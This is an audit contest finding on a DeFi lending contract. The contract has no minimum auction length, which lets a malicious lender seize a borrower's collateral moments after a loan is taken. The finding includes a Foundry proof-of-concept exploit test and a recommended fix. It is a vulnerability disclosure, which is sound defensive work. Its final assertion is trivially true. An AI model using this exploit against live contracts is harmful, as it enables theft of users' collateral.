20,000 USDC
View results
Submission Details
Severity: medium

Missing auction length minimum allows to create loans where borrowers lose their collateral 12 seconds after providing it

Summary

As there is no minimum value for the auction length and the only check about the auction length is that it is unequal zero, it is possible to create pools with auction length one. This enables the possibility to create pools that act like a trap, which will steal the collateral 12 seconds after depositing it. This vulnerability can be increased further by front running the borrow call of a user and changing the auction length of the pool to one right before the user takes a loan from it.

Vulnerability Details

The attack path works as followed:

  • Malicious user creates a pool with auction length 1

  • A user makes the mistake to borrow a loan from the pool

  • Malicious user starts an auction right after it

  • Malicious user waits for one block to be validated (12 seconds)

  • Malicious user calls the seizeLoan function and receives the collateral of the user

The following POC code shows the attack path, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract MissingAuctionLengthTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
address public attacker = vm.addr(1);
address public user = vm.addr(2);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
loanToken.mint(attacker, 1000 * 10 ** 18);
collateralToken.mint(user, 1000 * 10 ** 18);
}
function test_missing_auction_length() public {
// lender creates a pool with auction length 1
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1,
interestRate: 1,
outstandingLoans: 0
})
);
vm.stopPrank();
// user takes the loan
vm.startPrank(user);
collateralToken.approve(address(lender), 100*10**18);
bytes32 poolId = lender.getPoolId(attacker, address(loanToken), address(collateralToken));
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId,
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
vm.stopPrank();
// attacker owns 0 collateral tokens
assertEq(collateralToken.balanceOf(attacker), 0);
vm.startPrank(attacker);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 1); // 12 seconds pass
lender.seizeLoan(loanIds);
vm.stopPrank();
// attacker owns the collateral
assertGe(collateralToken.balanceOf(attacker), 0);
}
}

Impact

Borrowers lose their collateral.

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Instead of checking if the auction length is not zero, check if it is bigger than a auction length minimum constant.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!